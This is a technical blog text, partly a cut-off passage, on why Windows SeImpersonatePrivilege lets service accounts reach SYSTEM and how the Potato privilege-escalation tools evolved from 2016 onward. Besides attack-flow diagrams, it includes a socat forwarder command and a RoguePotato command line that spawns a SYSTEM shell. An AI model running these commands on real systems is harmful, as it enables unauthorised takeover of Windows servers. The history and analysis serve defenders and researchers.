privilege auto-granted. No. Microsoft has shipped CVEs for specific token-source primitives -- LocalPotato as CVE-2023-21746 [@nvd-cve-2023-21746], SilverPotato as CVE-2024-38061 [@nvd-cve-2024-38061], FakePotato as CVE-2024-38100 [@nvd-cve-2024-38100], the three-phase DCOM hardening as CVE-2021-26414 [@nvd-cve-2021-26414] -- but the underlying impersonation surface is documented-as-policy not to be addressed as a security boundary [@msrc-windows-security-servicing-criteria; @pierini-cocomazzi-troopers24-talk]. GodPotato remains functional across its tested README matrix (Server 2012-2022 / Windows 8-11) with no public Microsoft patch through mid-2026 [@beichendream-godpotato-readme]. PrintSpoofer and CoercedPotato variants remain functional on most hosts [@labro-2020-printspoofer-post; @prepouce-coercedpotato-repo]. The pattern is per-CVE closure of individual variants while the underlying privilege + coercion-API geometry remains in place. Both, but the architectural responsibility is Windows's. The privilege is a Windows design decision; the coerced-authentication primitives are Windows components (RPCSS, Print Spooler, EFS RPC server). A service developer cannot opt out of `SeImpersonatePrivilege` by writing better code -- the SCM grants the privilege as part of the account setup, not at the developer's request. A service developer *can* run under a custom account configured without the privilege, but most service code paths assume impersonation works (especially Win32-era code, where `RpcImpersonateClient` is the standard idiom) and break in subtle ways without it. Yes. IIS application pools cannot perform Windows-authenticated user impersonation; Exchange cannot run mailbox operations under the connecting user's identity; SQL Server cannot enforce per-login row security under Windows authentication; the SMB and EFS RPC servers cannot impersonate their callers [@ms-learn-impersonate-policy; @ms-learn-impersonatenamedpipeclient]. The MSRC policy text on the impersonation-policy page is explicit that the privilege is required for legitimate impersonation [@ms-learn-impersonate-policy]. Audit before you remove. No. The Adminless / Administrator Protection feature is a per-action consent surface for interactive administrators [@ms-learn-admin-protection]. Service accounts (services, MSAs, gMSAs, virtual accounts) are out of scope by construction because none of them is an interactive admin account. The new boundary does not apply to the service-account population this article is about. There is no public Microsoft roadmap to extend it. Because the named-pipe RPC server population (the SMB redirector, the Print Spooler, the EFS RPC server, and the long tail of pre-modern Win32 services) depends on this specific API, and the Microsoft-recommended alternatives (`RpcImpersonateClient`, the LSA-side variants) ultimately compose into the same kernel-side call -- §7.3 walks through the full ABI migration cost. The MSRC servicing carve-out [@msrc-windows-security-servicing-criteria] is the policy-level acknowledgement that the cost is not on the table.

12. The Line, Re-read

Bring the reader back to where this started: one line in whoami /priv.

SeImpersonatePrivilege  Impersonate a client after authentication  Enabled

Now you know what it means. The line ships in the default token of every IIS application pool worker, every SQL Server service step, every Exchange worker process, and every other LOCAL SERVICE / NETWORK SERVICE-derived account on every shipping Windows release. The line gates CreateProcessWithTokenW. The kernel-level token-substitution surface sits behind that gate. The named-pipe coercion API on the other side of the gate has shipped since Windows XP / Server 2003 and remains the dominant token source on the platform. Microsoft has shipped five containment mitigations in nineteen years -- each closes a real surface; none closes this primitive. The doctrinal articulation came at Troopers 24: Windows Service Hardening is a safety boundary, not a security boundary [@pierini-cocomazzi-troopers24-talk]. The 1988 ceiling that explains why is older than the operating system.

Microsoft gave every NETWORK SERVICE a privilege that, in the wrong hands, is equivalent to SYSTEM. They knew -- the MSRC said as much in April 2009 [@msrc-blog-2009-04-token-kidnapping]. They could not change it without breaking the service model: every closure path carries a documented compatibility cost they have explicitly declined to accept [@msrc-windows-security-servicing-criteria]. Pierini and Cocomazzi made the doctrine quotable at Troopers 24 [@pierini-cocomazzi-troopers24-talk]: WSH is a safety boundary, not a security boundary. Roughly eighteen years after Cerrudo first put that fact on the record [@cerrudo-2008-pdf], ten years after HotPotato made it pushbutton [@breen-2016-hot-potato], and three years after GodPotato survived the most aggressive DCOM hardening Microsoft has shipped [@beichendream-godpotato-readme; @nvd-cve-2021-26414], the primitive is still in place. It is not unpatched. It is documented-as-policy not to be patched.

For the variant-by-variant chronology this article deliberately deferred -- HotPotato, RottenPotato, JuicyPotato, JuicyPotatoNG, PrintSpoofer, EfsPotato, CoercedPotato, RoguePotato, RemotePotato0, GodPotato, LocalPotato, SilverPotato, FakePotato -- see the sibling Potato Family article (2026-05-31). That article catalogues each named tool's CLSID, coercion primitive, and patch state. This one was about why the family exists at all.

The one line in whoami /priv is not a bug. It is the decision.

SYSTEM in Ten Seconds: How the Potato Family Survived Every Microsoft Mitigation

noreply@paragmali.com (Parag Mali) — Sun, 31 May 2026 00:00:00 GMT

The Potato family is a decade of Windows local privilege escalation, eleven named variants disclosed between January 2016 (HotPotato) and August 2024 (FakePotato), all pivoting on the same primitive: `SeImpersonatePrivilege` (introduced as a defined user right in the Windows 2000 SP4 / XP SP2 / Server 2003 hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy]) plus `ImpersonateNamedPipeClient` (a Win32 primitive documented as supported since Windows XP for clients and Windows Server 2003 for servers [@ms-impersonate-api]). Each variant -- HotPotato (January 2016), RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, RemotePotato0, JuicyPotatoNG, GodPotato (the 2026 default), LocalPotato (CVE-2023-21746), SilverPotato, FakePotato (CVE-2024-38100) -- defeats a specific Microsoft mitigation, but no mitigation closes the family. The structural reason is the MSRC Windows Security Servicing Criteria, which treats the `SeImpersonatePrivilege`-to-SYSTEM transition as a safety boundary, not a security boundary. The Potato class is therefore an architectural decision, not a bug.

1. A Web Shell, Ten Seconds, SYSTEM

A red teamer drops a web shell on an Internet Information Services server running as IIS APPPOOL\DefaultAppPool. Ten seconds later, the shell prints nt authority\system. The operator did not exploit a memory-corruption bug, did not bypass a kernel security boundary, did not even use an undocumented API. They invoked CoCreateInstance against a Distributed COM (DCOM) class identifier, waited for the SYSTEM-context RPCSS service to authenticate to a named pipe they owned, and called ImpersonateNamedPipeClient [@ms-impersonate-api]. Every step was documented Win32 behaviour. The exploit is that Microsoft has spent a decade refusing to call any of those steps a security boundary [@msrc-servicing-criteria; @troopers24].

The artefact in the operator's hand is one of several. In May 2026 it is most likely GodPotato.exe -cmd "cmd /c whoami" -- a single Apache 2.0-licensed binary that BeichenDream published on GitHub on December 23, 2022 [@beichendream-god]. The README says it works on every supported Windows release from Windows 8 through Windows 11, and from Server 2012 through Server 2022 [@beichendream-god]. Community testing has since extended the working range to Server 2025 with default Distributed COM hardening enabled [@compass-three-headed].

A Windows user-rights assignment that lets a thread substitute another user's security context for its own (typically via `ImpersonateNamedPipeClient` or `ImpersonateLoggedOnUser`). Granted by default to `LOCAL SERVICE`, `NETWORK SERVICE`, every Internet Information Services application-pool identity, and most service accounts [@ms-impersonate-policy]. Introduced as a defined user right in the Windows 2000 SP4 / XP SP2 / Server 2003 service-hardening cycle that MSRC discusses in its 2009 Token Kidnapping retrospective [@msrc-token-kidnapping], after which possessing it has been one named-pipe round-trip away from being SYSTEM.

The IIS context matters. The default application-pool identity holds SeImpersonatePrivilege because IIS depends on it for legitimate request-scoped impersonation [@itm4n-printspoofer]. So does the default SQL Server service account, the Background Intelligent Transfer Service (BITS) account, the Spooler service account, and every account that hosts a Windows service that may need to "act as" a calling user. Anyone who can run code inside one of those accounts can run code as SYSTEM in seconds.

Note: Every step the operator takes -- CoCreateInstance, the SYSTEM-context RPCSS authentication, ImpersonateNamedPipeClient, the subsequent CreateProcessWithToken -- is in Microsoft's published Win32 contract [@ms-impersonate-api; @ms-dcom-spec]. None of them is a memory-corruption bug. The "exploit" is the existence of a documented call sequence that turns a service account into SYSTEM, on a fully-patched Windows 11 box, in 2026.

This is the puzzle the rest of the article is here to solve. The technique has been a one-binary operation for nearly a decade [@troopers24]. Microsoft has shipped three named hardening waves against it (a 2019-2020 OXID-resolver fix [@forshaw-pz-2021]; the three-phase CVE-2021-26414 Distributed COM hardening rollout from June 2021 to March 2023 [@ms-kb5004442]; and per-variant CVE patches in 2023 and 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]). None of those waves closed the family. Why?

2. The Architectural Primitive

The answer is in a Microsoft document called the Windows Security Servicing Criteria [@msrc-servicing-criteria]. It defines what Microsoft will and will not service as a security vulnerability. Quoting the document directly: "A security boundary provides a logical separation between the code and data of security domains with different levels of trust" [@msrc-servicing-criteria]. The page then lists the boundaries Microsoft has defined for Windows -- kernel mode versus user mode, virtual machine versus host, session versus session, and so on. The list is the enumeration that decides which bug classes get CVEs and which do not.

The Potato family pivots on a transition that is conspicuously not on the list: a service account that holds SeImpersonatePrivilege becoming SYSTEM. As Andrea Pierini and Antonio Cocomazzi articulated in the Troopers 24 retrospective, Microsoft's published position is that the Windows Service Hardening boundary is a safety boundary rather than a security boundary, which is why so many Potato exploits continue to work on fully updated Windows systems [@troopers24]. WSH is Microsoft's own shorthand for Windows Service Hardening -- the family of post-XP-SP2 protections that isolate service accounts from one another. The position is consistent with everything Microsoft has shipped: per-variant patches when a specific vehicle becomes too embarrassing, and silence on the underlying primitive. (The verbatim Troopers 24 articulation appears in §13.)

The boundary *definition* on `microsoft.com/en-us/msrc/windows-security-servicing-criteria` is rendered in static HTML and can be fetched directly [@msrc-servicing-criteria]. The boundary *enumeration table* immediately below it, which lists the bug classes that do and do not get CVEs, is JavaScript-rendered and does not appear in static fetches. The community-canonical secondary source for what is on that list is the Troopers 24 talk by Pierini and Cocomazzi [@troopers24], cross-referenced against James Forshaw's Project Zero retrospective from October 2021 [@forshaw-pz-2021] and Mark Russinovich's `aka.ms/win-security-boundaries` paraphrase. This article cites the primary for the definition and the Troopers retrospective for the enumeration.

Three primitives, taken together, mechanically determine the entire family. Once they are stated, the only remaining question is which SYSTEM-context service is cheapest to coerce.

Primitive one: SeImpersonatePrivilege

SeImpersonatePrivilege is a Windows user-rights assignment that permits a thread to call ImpersonateNamedPipeClient, ImpersonateLoggedOnUser, and the related impersonation APIs [@ms-impersonate-policy]. By Windows default, it is granted to LOCAL SERVICE, NETWORK SERVICE, every Internet Information Services application-pool identity, and most service accounts that need to act on behalf of clients [@itm4n-printspoofer]. (For when the right was introduced and a working definition, see §1; Decoder's one-sentence summary of what the grant means in practice is the climactic PullQuote in §6.3.)

Primitive two: ImpersonateNamedPipeClient

A Win32 API that lets the server end of a named pipe adopt the security context of whoever just connected to that pipe. After the call, the calling thread holds an impersonation token for the client identity, and any subsequent system call (including `CreateProcessWithToken`) executes as that identity. The function has been part of `namedpipeapi.h` since Windows XP for clients and Windows Server 2003 for servers, with no deprecation notice as of the 2025-07-01 documentation revision [@ms-impersonate-api].

The mechanism is exactly the one a SYSTEM-context service uses for legitimate request-scoped impersonation. The Potato class subverts it by getting a SYSTEM-context service to connect to a pipe the attacker owns. No memory corruption, no kernel exploit, no undocumented API. The Win32 reference describes the call as the standard way for a pipe server to "impersonate the client end" [@ms-impersonate-api].

Primitive three: the MSRC servicing-criteria carve-out

The third primitive is policy, not code. The MSRC document distinguishes a security boundary (whose violation gets a CVE and a security update) from a safety boundary (where Microsoft will patch when convenient but does not commit to a service-level objective). The defensible reading, articulated explicitly by Pierini and Cocomazzi at Troopers 24, is that the SYSTEM-from-SeImpersonate transition lives on the safety side [@troopers24]. The implication is structural: a service account holding SeImpersonatePrivilege "is already privileged" in Microsoft's policy view. Promoting it to SYSTEM is therefore not a privilege escalation that requires a security update.

flowchart LR A[Service account with SeImpersonatePrivilege] --> B[Coerce SYSTEM-context service to connect to attacker-owned named pipe] B --> C[Call ImpersonateNamedPipeClient on server thread] C --> D[Thread now holds SYSTEM impersonation token] D --> E[CreateProcessWithToken spawns SYSTEM process] F[MSRC servicing criteria carve-out] -.->|"Allows step A to remain a default grant"| A F -.->|"Allows step C to remain a documented Win32 API"| C

Taken together, the three primitives reduce the entire Potato family to a single problem statement: find the cheapest SYSTEM-context service to coerce into a callback. Every named variant since 2016 is an answer to that problem.

Key idea: Microsoft does not consider the SeImpersonatePrivilege-to-SYSTEM transition a security boundary; it considers it a safety boundary. The Potato family is the consequence. Variants change vehicles -- NetBIOS spoofing, BITS DCOM, Print Spooler RPC, EFS RPC, RPCSS OXID, ShellWindows -- but every one of them lives on the same architectural carve-out [@troopers24; @msrc-servicing-criteria].

The phrase aka.ms/win-security-boundaries was popularised by Mark Russinovich's Channel 9 talks of the late 2010s. Channel 9 was retired on December 1, 2021, so the link is now mostly cited as a memorable handle for the boundary list rather than as a clickable URL. The live equivalent is the MSRC servicing criteria document itself [@msrc-servicing-criteria].

Given primitives this old and this widely default-granted -- both the named-pipe impersonation API and the SeImpersonatePrivilege user right have been in their current form since the Windows 2000 SP4 / Server 2003 / XP SP2 service-hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy; @ms-impersonate-api] -- the natural question is why the named Potato family did not appear until 2016. The next section is the answer.

3. The Long Pre-Potato Era, 2001-2015

In March 2008, Cesar Cerrudo stood on a stage in Dubai at Hack-in-the-Box and demonstrated that a SYSTEM-context Windows service holding SeImpersonatePrivilege was, in effect, one named-pipe call away from SYSTEM [@cerrudo-hitb-slides; @msrc-token-kidnapping]. Microsoft acknowledged the technique on the MSRC blog on April 14, 2009, and shipped MS09-012 -- the patch Cerrudo later nicknamed "Chimichurri" in his Black Hat USA 2010 follow-up [@msrc-token-kidnapping; @blackhat-2010-cerrudo]. Cerrudo extended the work two years later at Black Hat USA 2010 in a paper titled "Token Kidnapping's Revenge" [@blackhat-2010-cerrudo]. Microsoft patched the specific NetworkService-to-SYSTEM vehicle. They did not revoke the privilege from the service accounts that held it [@msrc-token-kidnapping].

That pattern -- patch the vehicle, leave the primitive -- is the family's bequest from Cerrudo.

NTLM **relay** forwards an NTLM authentication captured from victim A to a different server B, where the attacker authenticates as A. NTLM **reflection** is the special case where B is the same machine (often the same protocol) as A. Microsoft fixed the most obvious same-protocol case with MS08-068 in 2008 [@ms-ms08-068]. Cross-protocol reflection (HTTP-to-SMB, DCOM-to-RPC) was not closed by that patch and became the doorway through which the Potato family entered.

Seven years before Cerrudo, on March 31, 2001, Sir Dystic of the Cult of the Dead Cow stood on a different stage at @lanta.con in Atlanta and released SMBRelay, the first public same-protocol NTLM relay tool [@cultdeadcow-smbrelay]. Microsoft eventually responded with MS08-068, a same-protocol-only fix [@ms-ms08-068]. Cross-protocol relay -- HTTP to SMB, DCOM to local RPC -- remained open.

That opening was the canvas James Forshaw painted on. In December 2014, then at Google Project Zero, Forshaw filed Issue 222 ("Windows: Local WebDAV NTLM Reflection EoP") demonstrating that the WebClient service performs NTLM authentication when asked to open a WebDAV URL, and that the resulting NTLM session can be reflected cross-protocol to the local SMB service [@forshaw-pz-2021]. A few months later Forshaw filed Issue 325, showing that CoGetInstanceFromIStorage could coerce a DCOM activation into authenticating to an attacker-controlled TCP endpoint. Microsoft patched the 2015 issue as CVE-2015-2370 [@nvd-cve-2015-2370]. In his October 2021 retrospective Forshaw wrote, with the laconic precision of a researcher whose contributions are still being weaponised seven years later:

The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits. -- James Forshaw, Project Zero, October 2021 [@forshaw-pz-2021]

Cerrudo nicknamed the MS09-012 patch "Chimichurri" after the Argentine green sauce, and used the name when he reprised the work at Black Hat USA 2010 [@blackhat-2010-cerrudo]. Cerrudo was at Argeniss and later IOActive when he developed the technique [@msrc-token-kidnapping; @blackhat-2010-cerrudo].

The primary artefact for Cerrudo's March 2008 Hack-in-the-Box Dubai talk (slides, video, abstract) is no longer reachable on the conference site; the MSRC blog's retrospective is the canonical secondary that anchors the date and venue [@msrc-token-kidnapping]. The Black Hat USA 2010 "Token Kidnapping's Revenge" whitepaper [@blackhat-2010-cerrudo] is the durable primary for the underlying technique.

gantt title Pre-Potato lineage 2001-2015 dateFormat YYYY-MM section NTLM relay SMBRelay (Sir Dystic) :a1, 2001-03, 1M MS08-068 same-protocol fix :a2, 2008-10, 1M section Token escalation Token Kidnapping HITB Dubai (Cerrudo) :b1, 2008-03, 1M MS09-012 Chimichurri :b2, 2009-04, 1M Token Kidnapping's Revenge (Cerrudo) :b3, 2010-07, 1M section DCOM primitive Project Zero Issue 222 (Forshaw) :c1, 2014-12, 1M Project Zero Issue 325 (Forshaw) :c2, 2015-04, 1M CVE-2015-2370 patch :c3, 2015-07, 1M

By the end of 2015 the three pieces were on the table. A long-standing default privilege grant (Cerrudo's "SeImpersonate equals SYSTEM" thesis). A specific cross-protocol reflection technique (Forshaw's WebDAV-to-SMB Issue 222). A specific DCOM-activation coercion primitive (Forshaw's CoGetInstanceFromIStorage Issue 325). Microsoft had patched the literal bug in the third piece and explicitly declined to revoke the privilege in the first. The technique was published, the proof-of-concept code was on GitHub, and the family was a binary release away. The next chapter is the moment someone shipped the binary.

4. HotPotato, January 16, 2016

On January 16, 2016, Stephen Breen of Foxglove Security published a blog post titled "Hot Potato" [@foxglove-hotpotato]. He had just spoken at ShmooCon. The repository, foxglovesec/Potato, would land on GitHub three weeks later, on February 9, 2016 [@foxglove-potato-repo]. The post's opening sentence is the family's birth certificate:

Hot Potato (aka: Potato) takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing. -- Stephen Breen, Foxglove Security, January 16, 2016 [@foxglove-hotpotato]

Breen had not invented NTLM reflection. He had combined three existing primitives into a single-binary, one-click privilege escalation that worked on every default Windows install from Windows 7 through Server 2012 [@foxglove-hotpotato]. The Foxglove post acknowledges the lineage explicitly: "a similar technique was disclosed by the guys at Google Project Zero ... In fact, some of our code was shamelessly borrowed from their PoC" [@foxglove-hotpotato].

How HotPotato works

The exploit chains three independent tricks. Step one is UDP-port exhaustion. The tool opens enough UDP sockets that the local NetBIOS Name Service (NBNS) name lookups fail, forcing Windows to fall back to broadcast-based name resolution [@foxglove-hotpotato]. Step two is NBNS spoofing of the WPAD hostname, pointed at 127.0.0.1. Step three is the actual reflection: when Windows Update or Windows Defender polls for an update, it consults the WPAD URL, gets the attacker's proxy auto-configuration script, and routes its HTTP requests through the attacker's local listener -- which then relays the SYSTEM-context NTLM negotiation to the local SMB service [@foxglove-hotpotato].

sequenceDiagram participant Atk as Hot Potato tool participant NBNS as NetBIOS Name Service participant WU as Windows Update (SYSTEM) participant WPAD as WPAD HTTP listener (attacker) participant SMB as Local SMB service Atk->>NBNS: UDP-flood to exhaust ports and force broadcast Atk->>NBNS: Spoof WPAD hostname pointing at 127.0.0.1 WU->>WPAD: GET wpad.dat over HTTP WPAD-->>WU: Attacker-supplied proxy auto-config WU->>WPAD: HTTP request with SYSTEM-context NTLM negotiate WPAD->>SMB: Reflect the NTLM exchange to local SMB SMB-->>Atk: SMB session authenticated as SYSTEM Atk->>Atk: ImpersonateNamedPipeClient and spawn SYSTEM shell

The result was a single binary that produced a SYSTEM shell from any local user account on the target host -- because on a default Windows install every authenticated local user can run code, open UDP sockets, and bind a loopback HTTP listener, which is all HotPotato needs to bootstrap.

Note: HotPotato does not use Distributed COM activation at all. It uses NetBIOS spoofing, WPAD hijacking, and HTTP-to-SMB cross-protocol relay. The family is named for HotPotato but the defining primitive of every later variant -- DCOM activation -- is absent. HotPotato is in the family because it pivots through the same SeImpersonatePrivilege plus named-pipe-impersonation core, which is the actual definition of the family. The repository name Potato and the family naming convention are both Breen's [@foxglove-potato-repo].

The naming pattern that has now produced eleven variants started with the GitHub repository name foxglovesec/Potato [@foxglove-potato-repo]. Breen later wrote that "Hot" was a riff on the fact that the SYSTEM token was passed around like a hot potato; the suffix convention spread from there organically.

Why HotPotato did not last

HotPotato had three structural weaknesses. NetBIOS spoofing is unreliable: the UDP-port exhaustion can fail under load, group policy can pin a real WPAD URL, and a legitimate WPAD response can win the race. NetBIOS is disabled in security-hardened environments as a matter of routine. And the HTTP-to-SMB cross-protocol path was the very thing Extended Protection for Authentication and SMB channel-binding tokens were designed to close [@crowdstrike-drop-mic]. On a Windows 10 1607 host with EPA on the SMB server, HotPotato failed.

Researchers needed a coercion vehicle that was deterministic, did not rely on broadcast spoofing, and used a protocol Microsoft had not yet hardened end-to-end. Forshaw's Project Zero Issue 325 -- the CoGetInstanceFromIStorage DCOM trigger -- met all three criteria [@forshaw-pz-2021]. The next variant weaponised it.

5. The DCOM-Activation Breakthrough, 2016-2018

5.1 RottenPotato (DerbyCon 6, September 2016)

Eight months after HotPotato, Stephen Breen returned with a co-author and a new vehicle. The talk was on September 23, 2016 -- the Friday of DerbyCon 6 -- and the blog post followed three days later [@foxglove-rottenpotato]. The Foxglove post identifies the co-author by name: "myself and my partner in crime, Chris Mallz (@vvalien1) spoke at DerbyCon about a project we've been working on for the last few months" [@foxglove-rottenpotato].

Many secondary sources credit Andrea Pierini (Decoder) as the RottenPotato co-author. The Foxglove primary disproves this verbatim [@foxglove-rottenpotato]. Decoder enters the family lineage two years later, with JuicyPotato in 2018 [@ohpe-juicy]. Chris Mallz is the actual RottenPotato co-author.

RottenPotato replaced HotPotato's NetBIOS-and-WPAD chain with Forshaw's DCOM-activation primitive. The hard-coded target was the Background Intelligent Transfer Service (BITS) Distributed COM server, class identifier {4991d34b-80a1-4291-83b6-3328366b9097}, and the hard-coded listener port was 127.0.0.1:6666 [@foxglove-rottenpotato; @foxglove-rotten-repo].

A Win32 OLE function that instantiates a Distributed COM object using a marshalled `IStorage` interface pointer as the activation source. By marshalling an `IStorage` whose object exporter identifier (OXID) resolves to an attacker-controlled TCP endpoint, the activator can redirect the resulting authentication callback to a listener it owns. Forshaw filed this as Project Zero Issue 325 in 2015 [@forshaw-pz-2021]; RottenPotato weaponised it. sequenceDiagram participant Atk as RottenPotato (service account) participant Pipe as Local listener on 127.0.0.1:6666 participant DCOM as DCOM activation (RPCSS) participant BITS as BITS COM server (SYSTEM) participant RPC as Local RPC on port 135 Atk->>Pipe: Start TCP listener on 127.0.0.1:6666 Atk->>DCOM: CoGetInstanceFromIStorage with BITS CLSID and marshalled IStorage DCOM->>BITS: Spawn BITS under SYSTEM context BITS->>Pipe: Callback to the marshalled endpoint Pipe->>RPC: Forward COM packets to local RPC on port 135 RPC-->>Pipe: Reply containing SYSTEM-context NTLM exchange Pipe-->>Atk: SYSTEM authentication captured Atk->>Atk: ImpersonateNamedPipeClient and CreateProcessWithToken

The technique was 100% reliable on Windows 7 through Windows 10 1803 and Server 2008 R2 through Server 2016 [@foxglove-rottenpotato]. There was no broadcast spoofing on the wire, no race condition, and no dependence on Windows Update polling. The price was rigidity: the hard-coded BITS class identifier and port 6666 made the tool brittle to BITS being disabled, and the original release depended on the Metasploit framework.

5.2 RottenPotatoNG and lonelypotato

In December 2017, the user breenmachine published RottenPotatoNG, a C++ port that removed the Metasploit dependency: "New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools" [@breenmachine-rottenng]. The codebase that JuicyPotato would later generalise was now in place.

Many surveys date the `decoder-it/lonelypotato` variant to "early 2018" and place it as the link between RottenPotatoNG and JuicyPotato. The GitHub REST API reports `created_at: 2020-02-08T16:30:00Z` for the repository [@decoder-lonely], a full two years later. Decoder's first appearance in the Potato lineage is actually the December 6, 2019 post "We thought they were Potatoes but they were Beans" [@decoder-beans], with `lonelypotato` arriving in February 2020 as a post-OXID-hardening cleanup variant adjacent to RoguePotato [@decoder-lonely]. The 2017-2018 attribution is a citation error that has propagated across several survey papers.

5.3 JuicyPotato (Pierini + Trotta, July-August 2018)

What if any class identifier, not just the BITS one, could be the activation target? On July 27, 2018, Andrea Pierini and Giuseppe Trotta published the answer. The repository ohpe/juicy-potato was created that day per the GitHub REST API; the blog post followed on August 10, 2018 [@ohpe-juicy]. The repository description reads: "Juicy Potato (abusing the golden privileges) -- A sugared version of RottenPotatoNG, with a bit of juice" [@ohpe-juicy].

The original JuicyPotato blog post at decoder.cloud/2018/08/10/juicy-potato-abusing-the-golden-privileges/ returns HTTP 404 in 2026, and no Wayback Machine snapshot exists for that exact URL. The ohpe/juicy-potato README is the live verbatim mirror of the title and the technique walkthrough [@ohpe-juicy]. Pierini's blog has reorganised several times; older posts that survive elsewhere on decoder.cloud include the October 2018 "No more Rotten/Juicy Potato" [@decoder-no-more-rotten] and the December 2019 "We thought they were Potatoes" [@decoder-beans].

JuicyPotato turned RottenPotato into a search engine. The README ships a per-Windows-version class identifier matrix: each row a Windows release, each column a CLSID that activates under SYSTEM context and implements the IMarshal interface [@ohpe-juicy]. The tool accepts a tunable listener port (replacing the hard-coded 6666), a tunable process-creation mode (CreateProcessWithToken for SeImpersonate holders, CreateProcessAsUser for SeAssignPrimaryToken holders, or both), and a TEST mode for class-identifier discovery [@ohpe-juicy].

Microsoft does not freeze the set of registered Distributed COM class identifiers across Windows builds. Default COM-server registrations change between releases as components are added, removed, or refactored. A class identifier that activates under SYSTEM on Windows 10 1709 may not exist on Server 2019. JuicyPotato's CLSID matrix is therefore not a static lookup table -- it is the precomputed result of an empirical per-build search [@ohpe-juicy]. Every red-team handbook published between 2018 and 2020 references this matrix; subsequent variants (RoguePotato, JuicyPotatoNG) inherit and update it. flowchart TD A[Enumerate registered DCOM CLSIDs on target build] --> B{"For each CLSID"} B --> C[Attempt CoGetInstanceFromIStorage with marshalled IStorage] C --> D{"Activation reaches attacker listener?"} D -->|No| B D -->|Yes| E{"Callback authenticates as SYSTEM?"} E -->|No| B E -->|Yes| F[Log CLSID into per-OS matrix] F --> B B --> G[Output: working CLSID for this Windows build]

The Potato class was now universal. From mid-2018 through 2019 it was the default tool in every red-team handbook, every Metasploit-adjacent post-exploitation cheat-sheet, and every penetration-testing certification's lab. Microsoft had noticed.

6. The Mitigation Arms Race, 2020-2024

Every subsection below is the same shape: Microsoft ships a mitigation, researchers find a counter-move, MSRC produces an artifact (a CVE, a "Won't Fix" decision, or silence), and the architectural reading gets one more empirical confirmation.

6.1 The first Distributed COM mitigation, 2019-2020

In late 2018, Windows 10 1809 and Server 2019 began shipping a change to RPCSS. JuicyPotato stopped working. Researchers who reverse-engineered the change discovered that the OXID resolver address on the local Distributed COM activation path was now hard-coded to 127.0.0.1:135. The marshalled IStorage callback could no longer be redirected to an arbitrary loopback port. Forshaw described it bluntly three years later:

Being able to redirect the OXID resolver RPC connection locally to a different TCP port was not by design and Microsoft eventually fixed this in Windows 10 1809/Server 2019. -- James Forshaw, October 2021 [@forshaw-pz-2021]

No CVE was assigned. The change shipped silently as part of the regular Patch Tuesday cycle [@forshaw-pz-2021]. Pierini and Cocomazzi tested it on their own workloads and confirmed the failure mode publicly in October 2018: "Recently I downloaded the new Windows server 2019 and upgraded my Win10 box to 1809 ... the juicy/rotten exploit ... did not work on both OS" [@decoder-no-more-rotten].

Note: The 2019-2020 OXID-resolver change is the first Microsoft response to the Potato family. It does not declare Distributed COM activation a security boundary. It narrows the resolver port to 135 and leaves the underlying primitive (coerce SYSTEM context via OXID resolver, then impersonate the resulting token) intact. The mitigation defines exactly one specific bypass; researchers had to discover that themselves [@forshaw-pz-2021; @decoder-no-more-rotten].

6.2 RoguePotato (Cocomazzi + Pierini, May 2020)

On May 10, 2020, Antonio Cocomazzi published the RoguePotato repository on GitHub [@antonio-rogue]. The disclosure post appeared the next day, May 11. The README banner is "RoguePotato @splinter_code & @decoder_it" -- the same Pierini-and-Cocomazzi team that goes on to author RemotePotato0, JuicyPotatoNG, LocalPotato, and SilverPotato [@antonio-rogue].

The counter-move accepts the hard-coded port-135 constraint and works around it. RoguePotato is two pieces. On an attacker-controlled remote host, run a port forwarder that listens on TCP 135 and redirects to a chosen attacker port. On the target, run RoguePotato.exe pointing the OXID resolver at the remote forwarder. RPCSS dutifully sends the resolution request to the remote host on port 135 (since Microsoft hard-coded the port, not the host); the forwarder bounces the traffic back to the target on the attacker-chosen port; RoguePotato impersonates the OXID resolver and steers the activation back to a SYSTEM-context COM server [@antonio-rogue]. Standard NTLM relay and named-pipe impersonation finish the job.

flowchart LR A[RoguePotato.exe on target] --> B[RPCSS sends OXID resolution to remote-host port 135] B --> C[Remote port forwarder on attacker VPS] C --> D[Forward to target on attacker-chosen port] D --> E[Fake OXID resolver inside RoguePotato] E --> F[Steer activation to SYSTEM-context COM server] F --> G[Named-pipe impersonation, CreateProcessWithToken, SYSTEM shell]

{// Step 1 -- on an attacker-controlled remote host (any internet-reachable VPS): const forwarder = "socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999"; // Step 2 -- on the target with SeImpersonatePrivilege: const exploit = 'RoguePotato.exe -r 10.0.0.3 -e "C:\\\\windows\\\\system32\\\\cmd.exe" -l 9999'; console.log("Remote forwarder:", forwarder); console.log("Target exploit :", exploit); console.log("Expected output : nt authority\\\\system");}

RoguePotato proved that the mitigation Microsoft chose did not break the underlying primitive. It only forced the attack to phone home. Two failure modes followed: in egress-filtered networks where outbound TCP 135 is blocked, the technique cannot run, and the remote forwarder is operationally noisy. Researchers needed a workaround that lived entirely on the target.

6.3 PrintSpoofer (Clément Labro, early May 2020)

Around the same time as RoguePotato, in early May 2020 (GitHub repository itm4n/PrintSpoofer created April 28, 2020; blog post first archived in the Wayback Machine on May 3, 2020), Clément Labro -- writing as itm4n -- published "PrintSpoofer -- Abusing Impersonation Privileges on Windows 10 and Server 2019" [@itm4n-printspoofer]. The mechanism uses no Distributed COM at all.

The Print Spooler service exposes an RPC call, RpcRemoteFindFirstPrinterChangeNotificationEx, that accepts a UNC path; the Spooler -- running as SYSTEM -- connects to that path to deliver printer-change notifications. Point the path at an attacker-owned named pipe; the Spooler connects; call ImpersonateNamedPipeClient; done [@itm4n-printspoofer]. Labro articulated the family's thesis statement in the post, attributing it to Decoder:

